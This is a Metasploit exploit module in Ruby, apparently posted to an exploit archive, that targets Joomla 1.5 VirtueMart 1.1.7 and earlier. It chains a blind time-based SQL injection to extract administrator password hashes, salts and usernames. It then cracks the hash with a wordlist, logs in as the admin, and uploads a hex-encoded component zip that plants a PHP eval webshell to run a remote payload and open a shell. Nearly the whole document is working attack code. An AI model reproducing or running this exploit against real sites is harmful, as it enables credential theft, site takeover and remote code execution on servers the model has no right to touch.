Joomla 1.5 com_virtuemart <= 1.1.7 Blind time-based SQL Injection (MSF)

# Exploit Title: Joomla 1.5 com_virtuemart <= 1.1.7 blind time-based sql injection MSF module
# Date: Thu Jul 28, 2011
# Author: TecR0c - tecr0c.mythsec [@] gmail.com
# Version: <= 1.1.7
# Download: http://dev.virtuemart.net/projects/virtuemart/files
# Greetz: mythsec team, James Bercega for code base for sqli blind

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking
 
 include Msf::Exploit::Remote::HttpClient
 
 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Joomla 1.5 VirtueMart Component <= 1.1.7 Blind SQL Injection',
   'Description'    => %q{
   A vulnerability was discovered by Rocco Calvi and Steve Seeley which identifies
   unauthenticated time-based blind SQL injection in the "page" variable of the
   virtuemart component. This vulnerability allows an attacker to gain information
   from the database with specially crafted URLs taking advantage of the MySQL
   benchmark. This issue was patched in version 1.1.7a.
   },
   'Author'         =>
    [
     'TecR0c',  #Initial discovery, msf module
     'mr_me',  #Initial discovery with TecR0c
    ],
   'License'        =>  MSF_LICENSE,
   'References'     =>
    [
     [ 'URL', 'http://www.exploit-db.com/exploits/17132/' ],
     [ 'URL','http://www.stratsec.net/Research/Advisories/' ],
    ],
   'Privileged'     =>  false,
   'Platform'       => 'php',
   'Arch'           =>  ARCH_PHP,
   'Targets'        => [[ 'Automatic', { }]],
   'DisclosureDate' => 'Feb 11 2011',
   'DefaultTarget'  => 0 ))
   
   register_options(
    [
     OptString.new('JDIR', [true, 'Joomla directory', '/']),
     OptInt.new('BMCT', [true, 'Benchmark Counter', 50000000 ]),
     OptInt.new('BMDF', [true, 'Benchmark Difference', 3 ]),
     OptInt.new('BMRC', [true, 'Benchmark Request Count', 1 ]),
     OptString.new('WLIST', [true,
        'Wordlist location',
         '/home/foo/bar.txt'
        ]),
     OptString.new('AGNT', [false, 'User Agent Info', 'Mozilla/5.0' ]),
     OptString.new('PREF', [false, 'Database prefixt', 'jos_' ]),
     OptString.new('JQRY', [false,
        'URI to trigger bug',
        'index.php?option=com_virtuemart&page=1'
        ])
    ], self.class)
 end
 #################################################
 # Extract "Set-Cookie"
 def init_cookie(data, cstr = true)
 
  # Raw request? Or cookie data specifically?
  data = data.headers['Set-Cookie'] ? data.headers['Set-Cookie']: data
  
  # Beginning
  if ( data )
   
   # Break them apart
   data = data.split(', ')
   
   # Initialize
   ctmp = ''
   tmps = {}
   
   # Parse cookies
   data.each do | x |
   
    # Remove extra data
    x = x.split(';')[0]
    
    # Seperate cookie pairs
    if ( x =~ /([^;\s]+)=([^;\s]+)/im )
     
     # Key
     k = $1
     
     # Val
     v = $2
     
     # Valid cookie value?
     if ( v.length() > 0 )
     
      # Build cookie hash
      tmps[k] = v
      
      # Report cookie status
      print_status("Got Cookie: #{k} => #{v}");
     end
    end
   end
   
   # Build string data
   if ( cstr == true )
    
    # Loop
    tmps.each do |x,y|
     
     # Cookie key/value
     ctmp << "#{x}=#{y};"
    end
    
    # Assign
    tmps['cstr'] = ctmp
   end
   
   # Return
   return tmps
  else
   # Something may be wrong
   init_debug("No cookies within the given response")
  end
 end
 
 #################################################
 
 # Simple debugging output
 def init_debug(resp, exit = 0)
 
  # Continue execution
  if ( exit.to_i > 0 )
  
   # Exit
   exit(0)
  end
  
 end
 
 #################################################
 
 # Generic post wrapper
 def http_post(url, data, headers = {}, timeout = 15)
 
  # Protocol
  proto = datastore['SSL'] ? 'https': 'http'
  
  # Determine request url
  url = url.length ? url: ''
  
  # Determine User-Agent
  headers['User-Agent'] = headers['User-Agent']  ?
  headers['User-Agent'] : datastore['AGNT']
  
  # Determine Content-Type
  headers['Content-Type'] = headers['Content-Type'] ?
  headers['Content-Type'] : "application/x-www-form-urlencoded"
  
  # Determine Content-Length
  headers['Content-Length'] = data.length
  
  # Determine Referer
  headers['Referer'] = headers['Referer']        ?
  headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"
  
  # Delete all the null headers
  headers.each do | hkey, hval |
   
   # Null value
   if ( !hval )
   
    # Delete header key
    headers.delete(hkey)
   end
  end
  
  # Send request
  resp = send_request_raw(
  {
   'uri'     => datastore['JDIR'] + url,
   'method'  => 'POST',
   'data'    => data,
   'headers' => headers
  },
  timeout )
   
   
  # Returned
  return resp
 
 end
 
 #################################################
 
 # Generic post multipart wrapper
 def http_post_multipart(url, data, headers = {}, timeout = 15)
  
  # Boundary string
  bndr =  Rex::Text.rand_text_alphanumeric(8)
  
  # Protocol
  proto = datastore['SSL'] ? 'https': 'http'
 
  # Determine request url
  url = url.length ? url: ''
  
  # Determine User-Agent
  headers['User-Agent'] = headers['User-Agent']  ?
  headers['User-Agent'] : datastore['AGNT']
  
  # Determine Content-Type
  headers['Content-Type'] = headers['Content-Type'] ?
  headers['Content-Type'] : "multipart/form-data; boundary=#{bndr}"
  
  # Determine Referer
  headers['Referer'] = headers['Referer']        ?
  headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"
  
  # Delete all the null headers
  headers.each do | hkey, hval |
  
   # Null value
   if ( !hval )
   
    # Delete header key
    headers.delete(hkey)
   end
  end
  
  # Init
  temp = ''
  
  # Parse form values
  data.each do |name, value|
  
   # Hash means file data
   if ( value.is_a?(Hash) )
    
    # Validate form fields
    filename = value['filename'] ? value['filename']:
       init_debug("Filename value missing from #{name}", 1)
    contents = value['contents'] ? value['contents']:
       init_debug("Contents value missing from #{name}", 1)
    mimetype = value['mimetype'] ? value['mimetype']:
       init_debug("Mimetype value missing from #{name}", 1)
    encoding = value['encoding'] ? value['encoding']: "Binary"
    
    # Build multipart data
    temp << "--#{bndr}\r\n"
    temp << "Content-Disposition: form-data; name=\"#{name}\"
     ; filename=\"#{filename}\"\r\n"
    temp << "Content-Type: #{mimetype}\r\n"
    temp << "Content-Transfer-Encoding: #{encoding}\r\n"
    temp << "\r\n"
    temp << "#{contents}\r\n"
    
   else
    # Build multipart data
    temp << "--#{bndr}\r\n"
    temp << "Content-Disposition: form-data; name=\"#{name}\";\r\n"
    temp << "\r\n"
    temp << "#{value}\r\n"
   end
  end
  
  # Complete the form data
  temp << "--#{bndr}--\r\n"
  
  # Assigned
  data = temp
  
  # Determine Content-Length
  headers['Content-Length'] = data.length
  
  # Send request
  resp = send_request_raw(
  {
   'uri'     => datastore['JDIR'] + url,
   'method'  => 'POST',
   'data'    => data,
   'headers' => headers
  },
  timeout)
  
  # Returned
  return resp
  
 end
 
 #################################################
 
 # Generic get wrapper
 def http_get(url, headers = {}, timeout = 15)
  
  # Protocol
  proto = datastore['SSL'] ? 'https': 'http'
  
  # Determine request url
  url = url.length ? url: ''
  
  # Determine User-Agent
  headers['User-Agent'] = headers['User-Agent']  ?
  headers['User-Agent'] : datastore['AGNT']
  
  # Determine Referer
  headers['Referer'] = headers['Referer']        ?
  headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"
  
  # Delete all the null headers
  headers.each do | hkey, hval |
  
   # Null value // Also, remove post specific data, due to a bug ...
   if ( !hval || hkey == "Content-Type" || hkey == "Content-Length" )
   
    # Delete header key
    headers.delete(hkey)
   end
  end
  
  
  # Send request
  resp = send_request_raw({
   'uri'     => datastore['JDIR'] + url,
   'headers' => headers,
   'method'  => 'GET',
  }, timeout)
  
  # Returned
  return resp
  
 end
 
 #################################################
 
 
 # Used to perform benchmark querys
 def sql_benchmark(test, hdrs, table = nil, where = '1+LIMIT+1', tnum = nil )
 
  # Init
  wait = 0
  
  # Defaults
  table = table ? table: 'users'
  
  # SQL Injection string used to trigger the MySQL BECNHMARK() function
  sqli = ("'+UNION+SELECT+IF(#{test},+BENCHMARK(#{datastore['BMCT']},\
+MD5(1)),+0)+FROM+#{datastore['PREF']}#{table}+WHERE+#{where}--+sqli.page")
  
  # Number of tests to run. We run this
  # amount of tests and then look for a
  # median value that is greater than
  # the benchmark difference.
  tnum = tnum ? tnum: datastore['BMRC']
  
  # Run the tests
  tnum.to_i.times do | i |
  
   # Start time
   bmc1 = Time.now.to_i
   
   # Make the request
   
   
   init_debug(http_get("#{datastore['JQRY']}#{sqli}", hdrs))
   # End time
   bmc2 = Time.now.to_i
   
   
   # Total time
   wait += bmc2 - bmc1
  end
  
  # Return the results
  return ( wait.to_i / tnum.to_i )
  
 end
 
 
 #################################################
 
 
 # Used to perform benchmark querys
 def sql_benchmark_2(hdrs, columns = nil, table = nil, where = '1+LIMIT+1', tnum = nil )
 
  # Init
  wait = 0
  
  # Defaults
  table = table ? table: 'users'
  
  # SQL Injection string used to trigger the MySQL BECNHMARK() function
  sqli = (
"'+UNION+SELECT+IF(substring((select+#{columns}+FROM+#{datastore['PREF']}#{table}+WHERE+#{where}),1,1),BENCHMARK(#{datastore['BMCT']},+MD5(1)),+0)--+sqli.page")
  
  # Number of tests to run. We run this
  # amount of tests and then look for a
  # median value that is greater than
  # the benchmark difference.
  tnum = tnum ? tnum: datastore['BMRC']
  
  # Run the tests
  tnum.to_i.times do | i |
  
   # Start time
   bmc1 = Time.now.to_i
   
   # Make the request
   
   
   init_debug(http_get("#{datastore['JQRY']}#{sqli}", hdrs))
   # End time
   bmc2 = Time.now.to_i
   
   
   # Total time
   wait += bmc2 - bmc1
  end
  
  # Return the results
  return ( wait.to_i / tnum.to_i )
  
 end
 
 
 #################################################
 
 
 def get_password(hash, salt, opts = nil)
 
  # Wordlist
  wlst = datastore['WLIST']
  
  # Init
  cntr = 0
   
  # Verbose
  print_status("Attempting to crack admin password hash")
  
  # Valid hash length only
  if ( hash.length != 32 )
  
   # Failure
   print_error("Invalid Joomla MD5 hash: #{hash.to_s}")
   return nil
  end
  
  # Does the wordlist exist?
  if ( !File.exist?(wlst) )
  
   # Failure
   print_error("Unable to load wordlist: #{wlst}")
   return nil
  else
   
   # Load the wordlist file
   list = File.readlines(wlst)
  end
  
  # Verbose
  print_status("Loaded #{list.count.to_s} words from the specified list")
  print_status("This may take quite some time ...")
  
  # Start time
  bmc1 = Time.now.to_i
  
  # Loop through list
  list.each do | word |
  
   # Cleanup
   word = word.strip
   
   # Counter
   cntr = cntr + 1
   
   # Attempt to find the plaintext password
   if ( hash == Rex::Text.md5(word + salt) )
   
    # Success!
    print_status("Successfully cracked the following hash")
    print_status("#{hash} => #{salt} == #{word}")
    
    # Ended time
    bmc2 = Time.now.to_i
    
    # Duration
    bmc3 = bmc2 - bmc1
    bmc3 = ( bmc3 < 60 ) ? "#{bmc3} seconds": "#{(bmc3/60)} minutes"
    
    # Verbose
    print_status("Operation completed in #{bmc3}")
    
    # Return
    return word
   end # if
  end # each
  
  # Failure
  print_error("Unable to crack the following hash")
  print_error("#{hash} => #{salt} == ???")
  
  # Ended time
  bmc2 = Time.now.to_i
  
  # Duration
  bmc3 = bmc2 - bmc1
  bmc3 = ( bmc3 < 60 ) ? "#{bmc3} seconds": "#{(bmc3/60)} minutes"
  
  # Verbose
  print_status("Operation completed in #{bmc3}")
  
  # Return
  return nil
 end
 
 #################################################
 
 def get_users_data(hdrs, snum, slim, cset, sqlf, sqlw)

   # Start time
   tot1 = Time.now.to_i
   
   # Initialize
   reqc = 0
   retn = String.new
    
   # Extract salt
   for i in snum..slim
   
    # Offset position
    oset = ( i - snum ) + 1
 
    # Loop charset
    for cbit in cset
 
     # Test character
     cbit.each do | cchr |
 
      # Start time (overall)
      bmc1 = Time.now.to_i
 
      # Benchmark query
      bmcv = sql_benchmark("SUBSTRING(#{sqlf},#{i},1)+LIKE+BINARY+CHAR(#{cchr.ord})",
      hdrs,"users", sqlw, datastore['BMRC'])
 
      # Noticable delay? We must have a match! ;)
      if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )
 
       # Verbose
       print_status(sprintf("Character %02s is %s", oset.to_s, cchr ))
 
       # Append chr
       retn << cchr
 
       # Exit loop
       break
      end
 
      # Counter
      reqc += 1
 
     end # each
    end # for
 
    # Host not vulnerable?
    if ( oset != retn.length )
     
     # Failure
     print_error("Unable to extract character ##{oset.to_s}\
     . Extraction failed!")
     return nil
    end
   end # for
 
   # End time (total)
   tot2 = Time.now.to_i
 
   # Benchmark totals
   tot3 = tot2 - tot1
 
   # Verbose
   print_status("Found data: #{retn}")
   print_status("Operation required #{reqc.to_s} requests (#{( tot3 / 60).to_s} minutes)")
   
   # Return
   return retn
 end
 
 #################################################
 
 def check

                print_status("Attempting to determine virtuemart version")

                resp = http_get("modules/mod_virtuemart_currencies/mod_virtuemart_currencies.xml")

                # Extract Joomla version information
                if ( resp.body =~ /<version>([^\s]+)<\/version>/ )

                        # Version
                        vers = $1.strip

                        # Version "parts"
                        ver1, ver2, ver3 = vers.split(/\./)

                        # Only if version 1.1.7
                        if ( ver3.to_i >= 7)

                                # Exploit failed
                                init_debug(resp)
    print_status("Please confirm manually")
    return Exploit::CheckCode::Safe
                        else

                                print_status("The target is running VirtueMart : #{vers}")
    return Exploit::CheckCode::Vulnerable
                        end
                else

                        # Verbose
                        print_error("Unable to determine Joomla version ...")
                end

 end
 
 #################################################
 def exploit
 
  # Numeric test string
  tstr = Time.now.to_i.to_s

  # MD5 test string
  tmd5 = Rex::Text.md5(tstr)
 
  # Encoded payload
  load = payload.encoded
  
  #################################################
  # STEP 02 // Get the cookie for virtuemart :)
  #################################################

  # request to get virtuemart cookie
  resp = http_get("index.php?option=com_virtuemart&page=1")

  # Init cookie
  cook = init_cookie(resp)

  # Build headers for authenticated session
  hdrs = { "Cookie" => cook['cstr'] }

  #################################################
  # STEP 03 // Calculate BENCHMARK() response times
  #################################################

  # Verbose
  print_status("Calculating target response times")
  print_status("Benchmarking #{datastore['BMRC']} normal requests")
  

  # Normal request median (globally accessible)
  datastore['BMC0'] = sql_benchmark("1=2", hdrs)
  
  # Verbose
  print_status("Normal request avg: #{datastore['BMC0'].to_s} seconds")
  print_status("Benchmarking #{datastore['BMRC']} delayed requests")

  # Delayed request median
  bmc1 = sql_benchmark("1=1", hdrs)

  # Verbose
  print_status("Delayed request avg: #{bmc1.to_s} seconds")

  # Benchmark totals
  bmct = bmc1 - datastore['BMC0']

  # Delay too small. The host may not be
  # vulnerable. Try increasing the BMCT.
  if ( bmct.to_i < datastore['BMDF'].to_i )

   # Verbose
   print_error("your benchmark threshold is small, or host is not vulnerable")
   print_error("increase the benchmark threshold adjust the value of the BMDF")
   print_error("increase the expression iterator adjust the value of the BMCT")
   return
  else
   # Host appears exploitable
   print_status("Request Difference: #{bmct.to_s} seconds")
  end

  #################################################
  # STEP 04 // Attempting to find a valid admin id
  #################################################
  
  atot = 0     # Total admins
  scnt = 0     # Step counter
  step = 10    # Step increment
  slim = 10000 # Step limit
  
  # 42 is the hard coded base uid within Joomla ...
  # ... and the answer to the ultimate question! ;]
  snum = ( !defined?(auid) ) ? 62: auid # changed from 42 to 62
  
  # Verbose
  print_status("Calculating total number of administrators")
  
  # Check how many admin accounts are in the database
  for i in 0..slim do

   # Benchmark
   bmcv = sql_benchmark_2(hdrs, "gid", "users", "gid=25+LIMIT+#{i.to_s},1",datastore['BMRC'])
   
   # If we do not have a delay, then we have reached the end ...
   if ( !( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) ) )

    # Range
    atot = i
    
    # Verbose
    print_status("Successfully confirmed #{atot.to_s} admin accounts")

    # Exit loop
    break
   end
  end
   
  # Loops until limit
  while ( snum < slim && scnt < atot )
 
   # Verbose
   print_status("Attempting to find a valid admin ID")
   
   # Verbose
   print_status("Stepping from #{snum.to_s} to #{slim.to_s} by #{step.to_s}")
 
   for i in snum.step(slim, step)
    bmcv = 0
    
 
    # Benchmark
    bmcv = sql_benchmark("#{i}+>+id", hdrs, "users","gid=25+LIMIT+#{scnt.to_s},1", datastore['BMRC'])

    # Noticable delay? We must have a match! ;)
    if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )
 
     # Range
     itmp = i
 
     # Exit loop
     break
    else
     
     # Out of time ..
     if ( i == slim )
     
      # Failure
      print_error("Unable to find a valid user id. Exploit failed!")
      return
     end
     
    end
   end
 
   # Jump back by #{step} and increment by one
   for i in ( snum ).upto(( itmp ))
    bmcv = 0
    auid = 0

 
    # Benchmark
    bmcv = sql_benchmark("id+=+#{i}", hdrs, "users", "gid=25",
    datastore['BMRC'])
 
    # Noticable delay? We must have a match! ;)
    if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )
 
     # UserID - first time auid gets set to 62
     auid = i
 
     # Verbose
     print_status("Found a valid admin account uid : #{auid.to_s}")
     
     # Step Counter
     scnt += 1
 
     # Exit loop
     break
    else
     
     # Out of time ..
     if ( i == ( itmp + step ) )
     
      # Failure
      print_error("Unable to find a valid user id. Exploit failed!")
      return
     end
    end
   end
   
   #################################################
   # These are the charsets used for the enumeration
   # operations and can be easily expanded if needed
   #################################################
 
   # Hash charset a-f0-9
   hdic = [ ('a'..'f'), ('0'..'9') ]
 
   # Salt charset a-zA-Z0-9
   sdic = [ ('a'..'z'), ('A'..'Z'), ('0'..'9') ]
   
   # Username charset
   udic = [ ('a'..'z'), ('A'..'Z'), ('0'..'9') ]
  
   #################################################
   # STEP 05 // Attempt to extract admin pass hash
   #################################################
 
   # Verbose
   print_status("Attempting to gather admin password hash")
   
   # Get pass hash - changed bs
   if ( auid != 0 && !( hash = get_users_data(
       hdrs,             # Pass cookie value
       1,                # Length Start
       32,               # Length Maximum
       hdic,             # Charset Array
       "password",       # SQL Field name
       "id=#{auid.to_s}" # SQL Where data
       ) ) )
       
    # Failure
    print_error("Unable to gather admin pass hash. Exploit failed!!")
    return
   end
   #################################################
   # STEP 06 // Attempt to extract admin pass salt
   #################################################
   
   # Verbose
   print_status("Attempting to gather admin password salt")
   
   # Get pass salt - changed bs
   if ( auid != 0 && !( salt = get_users_data(
       hdrs,             # Pass cookie value
       34,               # Length Start
       65,               # Length Maximum
       sdic,             # Charset Array
       "password",       # SQL Field name
       "id=#{auid.to_s}" # SQL Where data
       ) ) )
       
    # Failure
    print_error("Unable to gather admin pass salt. Exploit failed!!")
    return
   end

   #################################################
   # STEP 07 // Attempt to crack the extracted hash
   #################################################
 
   # Attempt to crack password hash - changed bs
   if ( auid != 0 )
    pass = get_password(hash, salt)
   end
 
   # Got pass? - changed bs
   if ( auid != 0 && pass )

    #################################################
    # STEP 08 // Attempt to extract admin username
    #################################################
    
    # Verbose
    print_status("Attempting to determine target username length")
    
    # Hard limit is 150
    for i in 1.upto(150)
  
     # Benchmark
     bmcv = sql_benchmark("LENGTH(username)=#{i.to_s}", hdrs,
     "users", "id=#{auid.to_s}", datastore['BMRC'])
  
     # Noticable delay? We must have a match! ;)
     if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )
  
      # Length
      ulen = i
      
      # Verbose
      print_status("The username is #{i.to_s} characters long")
  
      # Exit loop
      break
     end
    end
  
    # Verbose
    print_status('Gathering admin username')
  
    # Get pass salt
    if ( !( user = get_users_data(
        hdrs,            # Pass cookie value
        1,               # Length Start
        ulen,               # Length Maximum
        udic,             # Charset Array
        "username",       # SQL Field name
        "id=#{auid.to_s}" # SQL Where data
        ) ) )
        
     # Failure
     print_error("Unable to gather admin user name. Exploit failed!!")
     return
    end

    # Verbose
    print_status("Attempting to extract a valid request token")
    
    # Request a valid token
    resp = http_get("administrator/index.php")
    
    # Extract token
    if ( resp.body =~ /['|"]([a-f0-9]{32})["|']/ )
    
     # Token
     rtok = $1
     
     # Verbose
     print_status("Got token: #{rtok}")
    else
    
     # Failure
     print_error("Unable to extract request token. Exploit failed!")
     init_debug(resp)
     return
    end
    
    # Init cookie
    cook = init_cookie(resp)
    
    # Build headers for authenticated session
    hdrs = { "Cookie" => cook['cstr'] }
    
    #################################################
    # STEP 09 // Attempt to authenticate as the admin
    #################################################
    
    # Verbose
    print_status("Attempting to login as: #{user}")
    
    # Post data for login request
    post = "username=#{user}&passwd=#{pass}\
    〈=&option=com_login&task=login&#{rtok}=1"
    
    # Login request
    resp = http_post("administrator/index.php", post, hdrs)
    
    # Authentication successful???
    if ( resp && resp.code == 303 )
    
     # Success
     print_status("Successfully logged in as: #{user}")
    else
    
     # Failure
     print_error("Unable to authenticate. Exploit failed!")
     init_debug(resp)
     return
    end  
    
    #################################################
    # STEP 10 // Upload wrapper and execute payload!
    #################################################
     
    # Verbose
    print_status("Attempting to extract refreshed request token")
    
    # Request a valid token (again)
    resp = http_get("administrator/index.php?option=com_installer",hdrs)
    
    # Extract token
    if ( resp.body =~ /['|"]([a-f0-9]{32})["|']/ )
    
     # Token
     rtok = $1
     
     # Verbose
     print_status("Got token: #{rtok}")
    else
    
     # Failure
     print_error("Unable to extract request token. Exploit failed!")
     init_debug(resp.body)
     return
    end
    
    # Component specific data
    cstr = "joomla"
    czip = "com_#{cstr}.zip"
    curi = "components/com_#{cstr}/#{cstr}.php"

    #################################################
    # Our Joomla specific PHP payload wrapper that is
    # used to have more flexibility when delivering a
    # selected payload to a target. The wrapper is in
    # the Joomla! 1.6 compononent format and can also
    # be used with other Joomla exploits.
    #################################################
    #
    # Type: Joomla 1.6 Component
    # File: com_joomla/joomla.xml <-- installer file
    #       com_joomla/joomla.php <-- component file
    #
    # Data: <?php
    #       # Modify settings
    #       error_reporting(0);
    #       ini_set('max_execution_time', 0);
    #
    #       # Execute the selected payload, and delete the wrapper
    #       @eval(base64_decode(file_get_contents('php://input')));
    # ?>
    #################################################
    
    # Hex encoded component zip data
    wrap  = "\x50\x4B\x03\x04\x0A\x00\x00\x00\x00\x00\x65\xB3\x9A\x3E\x00\x00"
    wrap << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0B\x00\x00\x00\x63\x6F"
    wrap << "\x6D\x5F\x6A\x6F\x6F\x6D\x6C\x61\x2F\x50\x4B\x03\x04\x0A\x00\x00"
    wrap << "\x00\x00\x00\x35\xB2\x9A\x3E\x53\x03\xF2\xF9\xAF\x00\x00\x00\xAF"
    wrap << "\x00\x00\x00\x15\x00\x00\x00\x63\x6F\x6D\x5F\x6A\x6F\x6F\x6D\x6C"
    wrap << "\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61\x2E\x70\x68\x70\x3C\x3F\x70\x68"
    wrap << "\x70\x0D\x0A\x23\x20\x4D\x6F\x64\x69\x66\x79\x20\x73\x65\x74\x74"
    wrap << "\x69\x6E\x67\x73\x0D\x0A\x65\x72\x72\x6F\x72\x5F\x72\x65\x70\x6F"
    wrap << "\x72\x74\x69\x6E\x67\x28\x30\x29\x3B\x0D\x0A\x69\x6E\x69\x5F\x73"
    wrap << "\x65\x74\x28\x27\x6D\x61\x78\x5F\x65\x78\x65\x63\x75\x74\x69\x6F"
    wrap << "\x6E\x5F\x74\x69\x6D\x65\x27\x2C\x20\x30\x29\x3B\x0D\x0A\x0D\x0A"
    wrap << "\x23\x20\x45\x78\x65\x63\x75\x74\x65\x20\x74\x68\x65\x20\x73\x65"
    wrap << "\x6C\x65\x63\x74\x65\x64\x20\x70\x61\x79\x6C\x6F\x61\x64\x0D\x0A"
    wrap << "\x40\x65\x76\x61\x6C\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63"
    wrap << "\x6F\x64\x65\x28\x66\x69\x6C\x65\x5F\x67\x65\x74\x5F\x63\x6F\x6E"
    wrap << "\x74\x65\x6E\x74\x73\x28\x27\x70\x68\x70\x3A\x2F\x2F\x69\x6E\x70"
    wrap << "\x75\x74\x27\x29\x29\x29\x3B\x0D\x0A\x3F\x3E\x50\x4B\x03\x04\x0A"
    wrap << "\x00\x00\x00\x00\x00\x91\xB6\x9A\x3E\x8D\x4A\x99\xA9\x07\x01\x00"
    wrap << "\x00\x07\x01\x00\x00\x15\x00\x00\x00\x63\x6F\x6D\x5F\x6A\x6F\x6F"
    wrap << "\x6D\x6C\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61\x2E\x78\x6D\x6C\x3C\x3F"
    wrap << "\x78\x6D\x6C\x20\x76\x65\x72\x73\x69\x6F\x6E\x3D\x22\x31\x2E\x30"
    wrap << "\x22\x20\x65\x6E\x63\x6F\x64\x69\x6E\x67\x3D\x22\x75\x74\x66\x2D"
    wrap << "\x38\x22\x3F\x3E\x0D\x0A\x3C\x65\x78\x74\x65\x6E\x73\x69\x6F\x6E"
    wrap << "\x20\x74\x79\x70\x65\x3D\x22\x63\x6F\x6D\x70\x6F\x6E\x65\x6E\x74"
    wrap << "\x22\x20\x76\x65\x72\x73\x69\x6F\x6E\x3D\x22\x31\x2E\x36\x2E\x30"
    wrap << "\x22\x3E\x20\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x6E\x61"
    wrap << "\x6D\x65\x3E\x4A\x6F\x6F\x6D\x6C\x61\x3C\x2F\x6E\x61\x6D\x65\x3E"
    wrap << "\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x66\x69\x6C\x65\x73"
    wrap << "\x20\x66\x6F\x6C\x64\x65\x72\x3D\x22\x73\x69\x74\x65\x22\x3E\x3C"
    wrap << "\x66\x69\x6C\x65\x6E\x61\x6D\x65\x3E\x6A\x6F\x6F\x6D\x6C\x61\x2E"
    wrap << "\x70\x68\x70\x3C\x2F\x66\x69\x6C\x65\x6E\x61\x6D\x65\x3E\x3C\x2F"
    wrap << "\x66\x69\x6C\x65\x73\x3E\x20\x0D\x0A\x20\x20\x20\x20\x20\x20\x20"
    wrap << "\x20\x3C\x61\x64\x6D\x69\x6E\x69\x73\x74\x72\x61\x74\x69\x6F\x6E"
    wrap << "\x3E\x3C\x6D\x65\x6E\x75\x3E\x4A\x6F\x6F\x6D\x6C\x61\x3C\x2F\x6D"
    wrap << "\x65\x6E\x75\x3E\x3C\x2F\x61\x64\x6D\x69\x6E\x69\x73\x74\x72\x61"
    wrap << "\x74\x69\x6F\x6E\x3E\x0D\x0A\x3C\x2F\x65\x78\x74\x65\x6E\x73\x69"
    wrap << "\x6F\x6E\x3E\x0D\x0A\x50\x4B\x01\x02\x14\x00\x0A\x00\x00\x00\x00"
    wrap << "\x00\x65\xB3\x9A\x3E\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    wrap << "\x00\x0B\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00"
    wrap << "\x00\x00\x00\x63\x6F\x6D\x5F\x6A\x6F\x6F\x6D\x6C\x61\x2F\x50\x4B"
    wrap << "\x01\x02\x14\x00\x0A\x00\x00\x00\x00\x00\x35\xB2\x9A\x3E\x53\x03"
    wrap << "\xF2\xF9\xAF\x00\x00\x00\xAF\x00\x00\x00\x15\x00\x00\x00\x00\x00"
    wrap << "\x00\x00\x00\x00\x20\x00\x00\x00\x29\x00\x00\x00\x63\x6F\x6D\x5F"
    wrap << "\x6A\x6F\x6F\x6D\x6C\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61\x2E\x70\x68"
    wrap << "\x70\x50\x4B\x01\x02\x14\x00\x0A\x00\x00\x00\x00\x00\x91\xB6\x9A"
    wrap << "\x3E\x8D\x4A\x99\xA9\x07\x01\x00\x00\x07\x01\x00\x00\x15\x00\x00"
    wrap << "\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x0B\x01\x00\x00\x63"
    wrap << "\x6F\x6D\x5F\x6A\x6F\x6F\x6D\x6C\x61\x2F\x6A\x6F\x6F\x6D\x6C\x61"
    wrap << "\x2E\x78\x6D\x6C\x50\x4B\x05\x06\x00\x00\x00\x00\x03\x00\x03\x00"
    wrap << "\xBF\x00\x00\x00\x45\x02\x00\x00\x00\x00"

    # Verbose
    print_status("Attempting to upload payload wrapper component")
    
    # Post data
    data = {
    
     # Component data
     'install_package' =>
     {
      'filename' =>  czip,
      'contents' =>  wrap,
      'mimetype' => 'application/zip',
      'encoding' => 'binary',
     },
     
     # Required install params
     "installtype"  => "upload",
     "task"         => "install.install",
     "#{rtok}"      => "1",
    }
    
    # Upload the wrapper component
    init_debug(http_post_multipart("administrator/index.php?option=\
    com_installer&view=install", data, hdrs))

    # Deliver the selected payload to the target
    init_debug(http_post(curi, Rex::Text.encode_base64(load)))
    
    # Shell
    handler
    return
   else
   
    # Verbose
    print_error("Failed to crack hash. Searching for new admin account ...")
   end # if
  snum += 1
  end # while
  
  # Verbose
  print_error("Unable to crack any admin hashes. Try a better wordlist?")
  return
 end
end